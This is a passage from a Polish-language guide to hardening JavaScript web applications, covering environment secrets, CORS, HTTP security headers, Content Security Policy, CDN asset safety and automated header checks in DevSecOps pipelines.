• Konfiguracja per‑środowisko – nie używaj jednego pliku .env dla dev/stage/prod. Zestaw zmiennych powinien być jawny (np. config/schema.ts walidowany Zodem) i osobno definiowany dla każdego środowiska.
• Rotacja kluczy – JWT signing key, klucze do integracji płatności czy webhooków powinny mieć jasny proces rotacji. Mechanizmy typu kid w JWT lub wersjonowanie sekretów pozwalają miękko przełączać się między kluczami.
• Ostrożnie z process.env na froncie – bundlery (Next, Vite) potrafią automatycznie wstrzykiwać niektóre zmienne środowiskowe do kodu klienta. Wymagaj prefiksów typu NEXT_PUBLIC_* lub VITE_*, by przypadkiem nie wyciekały tajne dane do bundle’a.

Mit: „sekret w .env jest bezpieczny, bo pliku nie ma w repozytorium”. Rzeczywistość jest taka, że te pliki błyskawicznie zaczynają krążyć mailami, Slackiem i lądują w backupach laptopów.

Konfiguracja CORS, nagłówków bezpieczeństwa i Content Security Policy

Realistyczne CORS dla aplikacji SPA/SSR

CORS w wielu projektach kończy jako „* i działa”. Zwykle dlatego, że ktoś chciał „tylko szybko przetestować” z innego originu i tak już zostało.

• Jawna lista originów – zamiast * skonfiguruj listę dozwolonych domen (np. https://app.example.com, https://admin.example.com). W Node/Express można ją trzymać w configu i wybierać na podstawie Origin.
• Rozróżnienie środowisk – development często wymaga szerszego CORS niż produkcja. Utrzymuj osobną konfigurację dla dev/stage/prod i nie przenoś „devowych” wyjątków na produkcję.
• Preflight jako filtr – obsługa OPTIONS to nie tylko technikalia. Możesz zwracać inne nagłówki CORS dla różnych ścieżek API (np. zakazać metod mutujących z niektórych originów).
• Brak połączenia z autoryzacją – CORS nie zastępuje autoryzacji. To jedynie mechanizm dla przeglądarki. Backend musi i tak sprawdzać tokeny/role; zakaz CORS nie chroni przed curl/postmanem.
• Credentials i cookies – jeśli używasz cookie z sesją, Access-Control-Allow-Credentials: true wymaga konkretnego originu (nie *) i spójnej konfiguracji SameSite. Wielu błędom „magicznie” winny bywa CORS, podczas gdy przyczyna leży w polityce ciasteczek.

Nagłówki bezpieczeństwa HTTP w kontekście aplikacji JS

Frameworki frontowe nie wystarczą; to warstwa HTTP dostarcza część najmocniejszych zabezpieczeń.

• Strict-Transport-Security (HSTS) – wymusza użycie HTTPS przez przeglądarkę. Dla SPA i SSR praktycznie obowiązkowy, szczególnie jeżeli logowanie odbywa się z wykorzystaniem cookie.
• X-Frame-Options / frame-ancestors – blokuje osadzanie aplikacji w ramkach (clickjacking). Dla paneli administracyjnych i ekranów logowania ustaw DENY lub ogranicz do zaufanych domen integracyjnych.
• Referrer-Policy – ogranicza przekazywanie pełnych URL-i (z parametrami) podczas przejść między domenami. Chroni przed przeciekaniem tokenów w query stringu (nawet jeśli ich „nie powinno” tam być).
• Permissions-Policy – pozwala definiować, kto ma prawo korzystać z geolokalizacji, kamer, mikrofonu, sensora ruchu itd. W większości aplikacji biznesowych spora część uprawnień może zostać globalnie wyłączona.
• Cross-Origin-Opener-Policy / Cross-Origin-Embedder-Policy – pomagają m.in. w ochronie przed atakami typu Spectre i poprawiają izolację dokumentów. Przy bardziej zaawansowanych scenariuszach (SharedArrayBuffer, worker’y) trzeba je dobrać świadomie, by nie ubić funkcjonalności.

Praktyczna Content Security Policy dla SPA i SSR

CSP w projektach JS najczęściej kończy w dwóch stanach: „wyłączone” albo „default-src 'self' 'unsafe-inline' 'unsafe-eval'”, czyli prawie wyłączone.

• Start od trybu raportowania – zamiast od razu blokować, zacznij od Content-Security-Policy-Report-Only. Zbieraj raporty naruszeń do dedykowanego endpointu (lub usługi typu report-uri) i iteracyjnie zaostrzaj zasady.
• Unikaj 'unsafe-inline' w skryptach – inline JS i event handlery to gotowy wektor XSS. Jeśli framework generuje inline skrypty, przejdź na nonce lub hash-e. W Next/Vue/Nuxt często wystarcza włączenie odpowiednich opcji w serwerze renderującym.
• Oddzielne polityki dla zasobów – osobno zdefiniuj script-src, style-src, img-src, font-src. Jeżeli obrazki lecą z CDN, nie oznacza to, że ten sam CDN powinien być źródłem skryptów.
• Nonce’y generowane per‑request – nonce w CSP ma sens tylko wtedy, gdy jest unikalny dla każdego żądania i wstrzykiwany zarówno do nagłówka, jak i atrybutów <script nonce="...">. Reużywanie tego samego nonce w skali całej aplikacji pozbawia CSP większości wartości.
• CSP a bundler – jeżeli bundler wstrzykuje runtime z eval (np. sourcemapy inline, devtools), przemyśl rozróżnienie CSP na dev/prod. W produkcji źródła są zminifikowane i nie ma powodu zostawiać 'unsafe-eval'.

Mit: „CSP jest zbyt skomplikowane dla zwykłego SPA, więc nie ma sensu się w to bawić”. Rzeczywistość: nawet prosta polityka „default-src 'self'; script-src 'self' plus kilka wyjątków dla CDN-ów” znacząco utrudnia życie atakującym, a konfigurację można stopniowo dopieszczać.

Bezpieczeństwo plików statycznych i CDN

Statyczne assety (JS, CSS, obrazy) często lądują na osobnym hostingu lub CDN-ie. To kolejny fragment powierzchni ataku.

• Immutability i wersjonowanie – JS i CSS publikuj pod wersjonowanymi URL-ami (np. hash w nazwie). Po stronie serwera ustaw długie cache + immutable. To utrudnia scenariusze, w których atakujący próbuje wstrzyknąć złośliwy kod pod „starą” ścieżką.
• Ograniczenie typów MIME – serwer CDN/assetów powinien mieć jasno ustawione Content-Type i zakaz wykonywania nieoczekiwanych typów (np. HTML w katalogu obrazów). Mieszanie assetów i plików HTML na jednym hostingu często prowadzi do nadużyć.
• Separacja domen dla assetów – host statyczny typu static.examplecdn.com nie powinien mieć ustawionych ciasteczek domenowych z example.com. Dzięki temu ewentualne XSS w assetach nie widzi sesji użytkownika.

Integracja nagłówków, CORS i CSP z kulturą DevSecOps

Nagłówki bezpieczeństwa i CORS są najbardziej skuteczne, gdy nie są „ustawione raz i zapomniane”, tylko żyją razem z kodem.

Dobry efekt przynosi spięcie konfiguracji nagłówków z pipeline’ami CI/CD. Szablony reverse proxy (Nginx, Traefik, Ingress w Kubernetesa) trzymaj w repozytorium, razem z aplikacją. Zmiana CSP albo CORS przechodzi wówczas normalną ścieżkę code review, można do niej dołączyć testy integracyjne i od razu zobaczyć, które scenariusze frontendu przestają działać. Dev, który dopiero co złamał coś przez zbyt restrykcyjną CSP, zwykle sam szybko poprawi kod na bardziej bezpieczny.

Dobre rezultaty daje także automatyzacja kontroli jakości nagłówków. Proste skrypty lub gotowe narzędzia (np. skanery typu zap/burp w trybie CI, headless Chrome z kontrolą nagłówków) potrafią na każdym deployu sprawdzać obecność HSTS, polityk ramek, CSP czy właściwego CORS. Przy regresji pipeline powinien blokować wdrożenie. Mit: „nagłówki ustawimy raz na load balancerze i sprawa zamknięta”. Rzeczywistość jest taka, że każda nowa subdomena, mikroserwis czy integracja potrafi wprowadzić niespójność.

Drugi filar to edukacja i checklisty. Krótka lista kontrolna bezpieczeństwa HTTP w szablonie PR (CORS, HSTS, CSP, cookies, nagłówki X‑/COOP/COEP) działa lepiej niż godzinne prelekcje. Zespół backendowy może mieć własny „blueprint” konfiguracji serwera, a frontend – gotowe helpery do ustawiania nagłówków w Next/Nuxt czy middleware w Nest/Express. Powtarzalny wzorzec redukuje kreatywną twórczość, która najczęściej kończy się szerokim CORS-em lub wyłączoną CSP „bo coś nie działało”.

Bezpieczeństwo nagłówków warto też powiązać z monitoringiem produkcyjnym. Raporty CSP, logi z błędów CORS, alarmy na niespodziewane źródła skryptów – to wszystko są normalne metryki, które mogą lądować obok czasu odpowiedzi i błędów 5xx. Kiedy product owner widzi, że ktoś próbuje regularnie wstrzykiwać skrypty z egzotycznego hosta, łatwiej uzasadnić czas na dopieszczenie polityk niż wtedy, gdy „nic się nie dzieje”.

Aplikacje oparte na frameworkach JS rzadko przegrywają z jednym spektakularnym błędem; częściej z sumą drobnych zaniedbań: zbyt luźnym CORS, miękką polityką nagłówków, sekretem w kodzie, jednym endpointem bez walidacji. Świadoma konfiguracja środowiska, rozsądne korzystanie z bibliotek ochronnych i wbudowanie bezpieczeństwa w codzienny workflow DevSecOps sprawia, że nawet bardzo złożony stos React/Next/Nest/Node staje się przewidywalny i odporny zamiast „magicznie działającego” do pierwszego poważnego incydentu.